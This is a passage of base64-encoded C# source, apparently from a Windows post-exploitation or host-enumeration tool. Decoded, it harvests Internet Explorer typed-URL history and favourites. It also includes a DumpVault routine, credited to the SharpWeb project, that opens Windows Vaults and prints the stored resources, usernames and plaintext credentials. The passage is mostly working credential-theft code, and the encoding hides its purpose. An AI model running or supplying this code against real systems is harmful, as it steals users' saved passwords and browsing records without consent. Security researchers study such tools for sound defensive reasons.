CAgICAgICAgICAgICAgaWYgKERpcmVjdG9yeS5FeGlzdHModXNlcklFQm9va21hcmtQYXRoKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdHJpbmdbXSBib29rbWFya1BhdGhzID0gRGlyZWN0b3J5LkdldEZpbGVzKHVzZXJJRUJvb2ttYXJrUGF0aCwgIioudXJsIiwgU2VhcmNoT3B0aW9uLkFsbERpcmVjdG9yaWVzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoYm9va21hcmtQYXRocy5MZW5ndGggIT0gMCkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCJcclxuICBGYXZvcml0ZXMgKHswfSk6IiwgdXNlck5hbWUpOwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoc3RyaW5nIGJvb2ttYXJrUGF0aCBpbiBib29rbWFya1BhdGhzKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1c2luZyAoU3RyZWFtUmVhZGVyIHJkciA9IG5ldyBTdHJlYW1SZWFkZXIoYm9va21hcmtQYXRoKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdHJpbmcgbGluZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdHJpbmcgdXJsID0gIiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2hpbGUgKChsaW5lID0gcmRyLlJlYWRMaW5lKCkpICE9IG51bGwpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAobGluZS5TdGFydHNXaXRoKCJVUkw9IiwgU3RyaW5nQ29tcGFyaXNvbi5JbnZhcmlhbnRDdWx0dXJlSWdub3JlQ2FzZSkpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChsaW5lLkxlbmd0aCA+IDQpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdXJsID0gbGluZS5TdWJzdHJpbmcoNCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICAgIHswfSIsIHVybC5Ub1N0cmluZygpLlRyaW0oKSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIlxyXG5cclxuPT09IEludGVybmV0IEV4cGxvcmVyIChDdXJyZW50IFVzZXIpIExhc3QgezB9IERheXMgPT09IiwgbGFzdERheXMpOwoKICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiXHJcbiAgSGlzdG9yeToiKTsKICAgICAgICAgICAgICAgICAgICBEaWN0aW9uYXJ5PHN0cmluZywgb2JqZWN0PiBzZXR0aW5ncyA9IEdldFJlZ1ZhbHVlcygiSEtDVSIsICJTT0ZUV0FSRVxcTWljcm9zb2Z0XFxJbnRlcm5ldCBFeHBsb3JlclxcVHlwZWRVUkxzIik7CiAgICAgICAgICAgICAgICAgICAgaWYgKChzZXR0aW5ncyAhPSBudWxsKSAmJiAoc2V0dGluZ3MuQ291bnQgIT0gMCkpCiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoIChLZXlWYWx1ZVBhaXI8c3RyaW5nLCBvYmplY3Q+IGt2cCBpbiBzZXR0aW5ncykKICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnl0ZVtdIHRpbWVCeXRlcyA9IEdldFJlZ1ZhbHVlQnl0ZXMoIkhLQ1UiLCAiU09GVFdBUkVcXE1pY3Jvc29mdFxcSW50ZXJuZXQgRXhwbG9yZXJcXFR5cGVkVVJMc1RpbWUiLCBrdnAuS2V5LlRvU3RyaW5nKCkuVHJpbSgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICh0aW1lQnl0ZXMgIT0gbnVsbCkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsb25nIHRpbWVMb25nID0gKGxvbmcpKEJpdENvbnZlcnRlci5Ub0ludDY0KHRpbWVCeXRlcywgMCkpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIERhdGVUaW1lIHVybFRpbWUgPSBEYXRlVGltZS5Gcm9tRmlsZVRpbWUodGltZUxvbmcpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICh1cmxUaW1lID4gc3RhcnRUaW1lKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgICB7MCwtMjN9IDogIHsxfSIsIHVybFRpbWUsIGt2cC5WYWx1ZS5Ub1N0cmluZygpLlRyaW0oKSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQoKCiAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIlxyXG4gIEZhdm9yaXRlczoiKTsKICAgICAgICAgICAgICAgICAgICBzdHJpbmcgdXNlcklFQm9va21hcmtQYXRoID0gU3RyaW5nLkZvcm1hdCgiezB9XFxGYXZvcml0ZXNcXCIsIFN5c3RlbS5FbnZpcm9ubWVudC5HZXRFbnZpcm9ubWVudFZhcmlhYmxlKCJVU0VSUFJPRklMRSIpKTsKCiAgICAgICAgICAgICAgICAgICAgc3RyaW5nW10gYm9va21hcmtQYXRocyA9IERpcmVjdG9yeS5HZXRGaWxlcyh1c2VySUVCb29rbWFya1BhdGgsICIqLnVybCIsIFNlYXJjaE9wdGlvbi5BbGxEaXJlY3Rvcmllcyk7CgogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKHN0cmluZyBib29rbWFya1BhdGggaW4gYm9va21hcmtQYXRocykKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgIHVzaW5nIChTdHJlYW1SZWFkZXIgcmRyID0gbmV3IFN0cmVhbVJlYWRlcihib29rbWFya1BhdGgpKQogICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdHJpbmcgbGluZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0cmluZyB1cmwgPSAiIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICgobGluZSA9IHJkci5SZWFkTGluZSgpKSAhPSBudWxsKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChsaW5lLlN0YXJ0c1dpdGgoIlVSTD0iLCBTdHJpbmdDb21wYXJpc29uLkludmFyaWFudEN1bHR1cmVJZ25vcmVDYXNlKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChsaW5lLkxlbmd0aCA+IDQpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1cmwgPSBsaW5lLlN1YnN0cmluZyg0KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgICB7MH0iLCB1cmwuVG9TdHJpbmcoKS5UcmltKCkpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGNhdGNoIChFeGNlcHRpb24gZXgpCiAgIC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TsKICAgICAgICAgICAgc3dpdGNoICgoaW50KXBhcnRpYWxFbGVtZW50VHlwZSkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgY2FzZSA3OiAvLyBWQVVMVF9FTEVNRU5UX1RZUEUgPT0gU3RyaW5nOyBUaGVzZSBhcmUgdGhlIHBsYWludGV4dCBwYXNzd29yZHMhCiAgICAgICAgICAgICAgICAgICAgSW50UHRyIFN0cmluZ1B0ciA9IFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsLlJlYWRJbnRQdHIoZWxlbWVudFB0cik7CiAgICAgICAgICAgICAgICAgICAgcmVzdWx0cyA9IFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsLlB0clRvU3RyaW5nVW5pKFN0cmluZ1B0cik7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlIDA6IC8vIFZBVUxUX0VMRU1FTlRfVFlQRSA9PSBib29sCiAgICAgICAgICAgICAgICAgICAgcmVzdWx0cyA9IFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsLlJlYWRCeXRlKGVsZW1lbnRQdHIpOwogICAgICAgICAgICAgICAgICAgIHJlc3VsdHMgPSAoYm9vbClyZXN1bHRzOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAxOiAvLyBWQVVMVF9FTEVNRU5UX1RZUEUgPT0gU2hvcnQKICAgICAgICAgICAgICAgICAgICByZXN1bHRzID0gU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWwuUmVhZEludDE2KGVsZW1lbnRQdHIpOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAyOiAvLyBWQVVMVF9FTEVNRU5UX1RZUEUgPT0gVW5zaWduZWQgU2hvcnQKICAgICAgICAgICAgICAgICAgICByZXN1bHRzID0gU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWwuUmVhZEludDE2KGVsZW1lbnRQdHIpOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAzOiAvLyBWQVVMVF9FTEVNRU5UX1RZUEUgPT0gSW50CiAgICAgICAgICAgICAgICAgICAgcmVzdWx0cyA9IFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsLlJlYWRJbnQzMihlbGVtZW50UHRyKTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgNDogLy8gVkFVTFRfRUxFTUVOVF9UWVBFID09IFVuc2lnbmVkIEludAogICAgICAgICAgICAgICAgICAgIHJlc3VsdHMgPSBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbC5SZWFkSW50MzIoZWxlbWVudFB0cik7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlIDU6IC8vIFZBVUxUX0VMRU1FTlRfVFlQRSA9PSBEb3VibGUKICAgICAgICAgICAgICAgICAgICByZXN1bHRzID0gU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWwuUHRyVG9TdHJ1Y3R1cmUoZWxlbWVudFB0ciwgdHlwZW9mKERvdWJsZSkpOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSA2OiAvLyBWQVVMVF9FTEVNRU5UX1RZUEUgPT0gR1VJRAogICAgICAgICAgICAgICAgICAgIHJlc3VsdHMgPSBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbC5QdHJUb1N0cnVjdHVyZShlbGVtZW50UHRyLCB0eXBlb2YoR3VpZCkpOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAxMjogLy8gVkFVTFRfRUxFTUVOVF9UWVBFID09IFNpZAogICAgICAgICAgICAgICAgICAgIEludFB0ciBzaWRQdHIgPSBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbC5SZWFkSW50UHRyKGVsZW1lbnRQdHIpOwogICAgICAgICAgICAgICAgICAgIHZhciBzaWRPYmplY3QgPSBuZXcgU3lzdGVtLlNlY3VyaXR5LlByaW5jaXBhbC5TZWN1cml0eUlkZW50aWZpZXIoc2lkUHRyKTsKICAgICAgICAgICAgICAgICAgICByZXN1bHRzID0gc2lkT2JqZWN0LlZhbHVlOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICAgICAvKiBTZXZlcmFsIFZBVUxUX0VMRU1FTlRfVFlQRVMgYXJlIGN1cnJlbnRseSB1bmltcGxlbWVudGVkIGFjY29yZGluZyB0bwogICAgICAgICAgICAgICAgICAgICAqIExvcmQgR3JhZWJlci4gVGh1cyB3ZSBkbyBub3QgaW1wbGVtZW50IHRoZW0uICovCiAgICAgICAgICAgICAgICAgICAgcmVzdWx0cyA9IG51bGw7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHJlc3VsdHM7CiAgICAgICAgfQogICAgICAgIHB1YmxpYyBzdGF0aWMgdm9pZCBEdW1wVmF1bHQoKQogICAgICAgIHsKICAgICAgICAgICAgLy8gcHVsbGVkIGRpcmVjdGx5IGZyb20gQGRqaG9obnN0ZWluJ3MgU2hhcnBXZWIgcHJvamVjdDogaHR0cHM6Ly9naXRodWIuY29tL2RqaG9obnN0ZWluL1NoYXJwV2ViL2Jsb2IvbWFzdGVyL0VkZ2UvU2hhcnBFZGdlLmNzCiAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCJcclxuXHJcbj09PSBDaGVja2luZyBXaW5kb3dzIFZhdWx0cyA9PT0iKTsKICAgICAgICAgICAgdmFyIE9TVmVyc2lvbiA9IEVudmlyb25tZW50Lk9TVmVyc2lvbi5WZXJzaW9uOwogICAgICAgICAgICB2YXIgT1NNYWpvciA9IE9TVmVyc2lvbi5NYWpvcjsKICAgICAgICAgICAgdmFyIE9TTWlub3IgPSBPU1ZlcnNpb24uTWlub3I7CgogICAgICAgICAgICBUeXBlIFZBVUxUX0lURU07CgogICAgICAgICAgICBpZiAoT1NNYWpvciA+PSA2ICYmIE9TTWlub3IgPj0gMikKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgVkFVTFRfSVRFTSA9IHR5cGVvZihWYXVsdENsaS5WQVVMVF9JVEVNX1dJTjgpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgVkFVTFRfSVRFTSA9IHR5cGVvZihWYXVsdENsaS5WQVVMVF9JVEVNX1dJTjcpOwogICAgICAgICAgICB9CgogICAgICAgICAgICBJbnQzMiB2YXVsdENvdW50ID0gMDsKICAgICAgICAgICAgSW50UHRyIHZhdWx0R3VpZFB0ciA9IEludFB0ci5aZXJvOwogICAgICAgICAgICB2YXIgcmVzdWx0ID0gVmF1bHRDbGkuVmF1bHRFbnVtZXJhdGVWYXVsdHMoMCwgcmVmIHZhdWx0Q291bnQsIHJlZiB2YXVsdEd1aWRQdHIpOwoKICAgICAgICAgICAgLy92YXIgcmVzdWx0ID0gQ2FsbFZhdWx0RW51bWVyYXRlVmF1bHRzKFZhdWx0RW51bSwgMCwgcmVmIHZhdWx0Q291bnQsIHJlZiB2YXVsdEd1aWRQdHIpOwoKICAgICAgICAgICAgaWYgKChpbnQpcmVzdWx0ICE9IDApCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFtFUlJPUl0gVW5hYmxlIHRvIGVudW1lcmF0ZSB2YXVsdHMuIEVycm9yICgweCIgKyByZXN1bHQuVG9TdH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R5cGVvZihHdWlkKSkpOwogICAgICAgICAgICAgICAgSW50UHRyIHZhdWx0SGFuZGxlID0gSW50UHRyLlplcm87CiAgICAgICAgICAgICAgICBzdHJpbmcgdmF1bHRUeXBlOwogICAgICAgICAgICAgICAgaWYgKHZhdWx0U2NoZW1hLkNvbnRhaW5zS2V5KHZhdWx0R3VpZCkpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgdmF1bHRUeXBlID0gdmF1bHRTY2hlbWFbdmF1bHRHdWlkXTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICB2YXVsdFR5cGUgPSB2YXVsdEd1aWQuVG9TdHJpbmcoKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIHJlc3VsdCA9IFZhdWx0Q2xpLlZhdWx0T3BlblZhdWx0KHJlZiB2YXVsdEd1aWQsIChVSW50MzIpMCwgcmVmIHZhdWx0SGFuZGxlKTsKICAgICAgICAgICAgICAgIGlmIChyZXN1bHQgIT0gMCkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBbRVJST1JdIFVuYWJsZSB0byBvcGVuIHRoZSBmb2xsb3dpbmcgdmF1bHQ6ICIgKyB2YXVsdFR5cGUgKyAiLiBFcnJvcjogMHgiICsgcmVzdWx0LlRvU3RyaW5nKCkpOwogICAgICAgICAgICAgICAgICAgIHJldHVybjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIC8vIFZhdWx0IG9wZW5lZCBzdWNjZXNzZnVsbHkhIENvbnRpbnVlLgoKCiAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiXHJcbiAgVmF1bHQgR1VJRCAgICAgOiB7MH0iLCB2YXVsdEd1aWQpOwogICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgVmF1bHQgVHlwZSAgICAgOiB7MH1cclxuIiwgdmF1bHRUeXBlKTsKCiAgICAgICAgICAgICAgICAvLyBGZXRjaCBhbGwgaXRlbXMgd2l0aGluIFZhdWx0CiAgICAgICAgICAgICAgICBpbnQgdmF1bHRJdGVtQ291bnQgPSAwOwogICAgICAgICAgICAgICAgSW50UHRyIHZhdWx0SXRlbVB0ciA9IEludFB0ci5aZXJvOwogICAgICAgICAgICAgICAgcmVzdWx0ID0gVmF1bHRDbGkuVmF1bHRFbnVtZXJhdGVJdGVtcyh2YXVsdEhhbmRsZSwgNTEyLCByZWYgdmF1bHRJdGVtQ291bnQsIHJlZiB2YXVsdEl0ZW1QdHIpOwogICAgICAgICAgICAgICAgaWYgKHJlc3VsdCAhPSAwKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFtFUlJPUl0gVW5hYmxlIHRvIGVudW1lcmF0ZSB2YXVsdCBpdGVtcyBmcm9tIHRoZSBmb2xsb3dpbmcgdmF1bHQ6ICIgKyB2YXVsdFR5cGUgKyAiLiBFcnJvciAweCIgKyByZXN1bHQuVG9TdHJpbmcoKSk7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgdmFyIHN0cnVjdEFkZHJlc3MgPSB2YXVsdEl0ZW1QdHI7CiAgICAgICAgICAgICAgICBpZiAodmF1bHRJdGVtQ291bnQgPiAwKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIC8vIEZvciBlYWNoIHZhdWx0IGl0ZW0uLi4KICAgICAgICAgICAgICAgICAgICBmb3IgKGludCBqID0gMTsgaiA8PSB2YXVsdEl0ZW1Db3VudDsgaisrKQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgLy8gQmVnaW4gZmV0Y2hpbmcgdmF1bHQgaXRlbS4uLgogICAgICAgICAgICAgICAgICAgICAgICB2YXIgY3Vyc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bWVudCIpOwogICAgICAgICAgICAgICAgICAgICAgICBJbnRQdHIgcElkZW50aXR5RWxlbWVudCA9IChJbnRQdHIpcElkZW50aXR5RWxlbWVudEluZm8uR2V0VmFsdWUoY3VycmVudEl0ZW0pOwogICAgICAgICAgICAgICAgICAgICAgICBGaWVsZEluZm8gZGF0ZVRpbWVJbmZvID0gY3VycmVudEl0ZW0uR2V0VHlwZSgpLkdldEZpZWxkKCJMYXN0TW9kaWZpZWQiKTsKICAgICAgICAgICAgICAgICAgICAgICAgVUludDY0IGxhc3RNb2RpZmllZCA9IChVSW50NjQpZGF0ZVRpbWVJbmZvLkdldFZhbHVlKGN1cnJlbnRJdGVtKTsKCiAgICAgICAgICAgICAgICAgICAgICAgIEludFB0ciBwUGFja2FnZVNpZCA9IEludFB0ci5aZXJvOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoT1NNYWpvciA+PSA2ICYmIE9TTWlub3IgPj0gMikKICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gTmV3ZXIgdmVyc2lvbnMgaGF2ZSBwYWNrYWdlIHNpZAogICAgICAgICAgICAgICAgICAgICAgICAgICAgRmllbGRJbmZvIHBQYWNrYWdlU2lkSW5mbyA9IGN1cnJlbnRJdGVtLkdldFR5cGUoKS5HZXRGaWVsZCgicFBhY2thZ2VTaWQiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBQYWNrYWdlU2lkID0gKEludFB0cilwUGFja2FnZVNpZEluZm8uR2V0VmFsdWUoY3VycmVudEl0ZW0pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgcmVzdWx0ID0gVmF1bHRDbGkuVmF1bHRHZXRJdGVtX1dJTjgodmF1bHRIYW5kbGUsIHJlZiBzY2hlbWFJZCwgcFJlc291cmNlRWxlbWVudCwgcElkZW50aXR5RWxlbWVudCwgcFBhY2thZ2VTaWQsIEludFB0ci5aZXJvLCAwLCByZWYgcGFzc3dvcmRWYXVsdEl0ZW0pOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgcmVzdWx0ID0gVmF1bHRDbGkuVmF1bHRHZXRJdGVtX1dJTjcodmF1bHRIYW5kbGUsIHJlZiBzY2hlbWFJZCwgcFJlc291cmNlRWxlbWVudCwgcElkZW50aXR5RWxlbWVudCwgSW50UHRyLlplcm8sIDAsIHJlZiBwYXNzd29yZFZhdWx0SXRlbSk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChyZXN1bHQgIT0gMCkKICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgW0VSUk9SXSBvY2N1cmVkIHdoaWxlIHJldHJpZXZpbmcgdmF1bHQgaXRlbS4gRXJyb3I6IDB4IiArIHJlc3VsdC5Ub1N0cmluZygpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybjsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBvYmplY3QgcGFzc3dvcmRJdGVtID0gU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWwuUHRyVG9TdHJ1Y3R1cmUocGFzc3dvcmRWYXVsdEl0ZW0sIFZBVUxUX0lURU0pOwogICAgICAgICAgICAgICAgICAgICAgICBGaWVsZEluZm8gcEF1dGhlbnRpY2F0b3JFbGVtZW50SW5mbyA9IHBhc3N3b3JkSXRlbS5HZXRUeXBlKCkuR2V0RmllbGQoInBBdXRoZW50aWNhdG9yRWxlbWVudCIpOwogICAgICAgICAgICAgICAgICAgICAgICBJbnRQdHIgcEF1dGhlbnRpY2F0b3JFbGVtZW50ID0gKEludFB0cilwQXV0aGVudGljYXRvckVsZW1lbnRJbmZvLkdldFZhbHVlKHBhc3N3b3JkSXRlbSk7CiAgICAgICAgICAgICAgICAgICAgICAgIC8vIEZldGNoIHRoZSBjcmVkZW50aWFsIGZyb20gdGhlIGF1dGhlbnRpY2F0b3IgZWxlbWVudAogICAgICAgICAgICAgICAgICAgICAgICBvYmplY3QgY3JlZCA9IEdldFZhdWx0RWxlbWVudFZhbHVlKHBBdXRoZW50aWNhdG9yRWxlbWVudCk7CiAgICAgICAgICAgICAgICAgICAgICAgIG9iamVjdCBwYWNrYWdlU2lkID0gbnVsbDsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHBQYWNrYWdlU2lkICE9IEludFB0ci5aZXJvICYmIHBQYWNrYWdlU2lkICE9IG51bGwpCiAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBhY2thZ2VTaWQgPSBHZXRWYXVsdEVsZW1lbnRWYWx1ZShwUGFja2FnZVNpZCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGNyZWQgIT0gbnVsbCkgLy8gSW5kaWNhdGVzIHN1Y2Nlc3NmdWwgZmV0Y2gKICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gQ29uc29sZS5Xcml0ZUxpbmUoIiAgLS0tIElFL0VkZ2UgQ3JlZGVudGlhbCAtLS0iKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIENvbnNvbGUuV3JpdGVMaW5lKCIgIFZhdWx0IFR5cGUgICA6IHswfSIsIHZhdWx0VHlwZSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBvYmplY3QgcmVzb3VyY2UgPSBHZXRWYXVsdEVsZW1lbnRWYWx1ZShwUmVzb3VyY2VFbGVtZW50KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChyZXNvdXJjZSAhPSBudWxsKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgICAgUmVzb3VyY2UgICAgIDogezB9IiwgcmVzb3VyY2UpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgb2JqZWN0IGlkZW50aXR5ID0gR2V0VmF1bHRFbGVtZW50VmFsdWUocElkZW50aXR5RWxlbWVudCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoaWRlbnRpdHkgIT0gbnVsbCkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICAgIElkZW50aXR5ICAgICA6IHswfSIsIGlkZW50aXR5KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChwYWNrYWdlU2lkICE9IG51bGwpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgICBQYWNha2dlU2lkICA6IHswfSIsIHBhY2thZ2VTaWQpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgICBDcmVkZW50aWFsICAgOiB7MH0iLCBjcmVkKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIFN0dXBpZCBkYXRldGltZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgICBMYXN0TW9kaWZpZWQgOiB7MH0iLCBTeXN0ZW0uRGF0ZVRpbWUuRnJvbUZpbGVUaW1lVXRjKChsb25nKWxhc3RNb2RpZmllZCkpOwogICAgICAgICAgICAgICAgICAg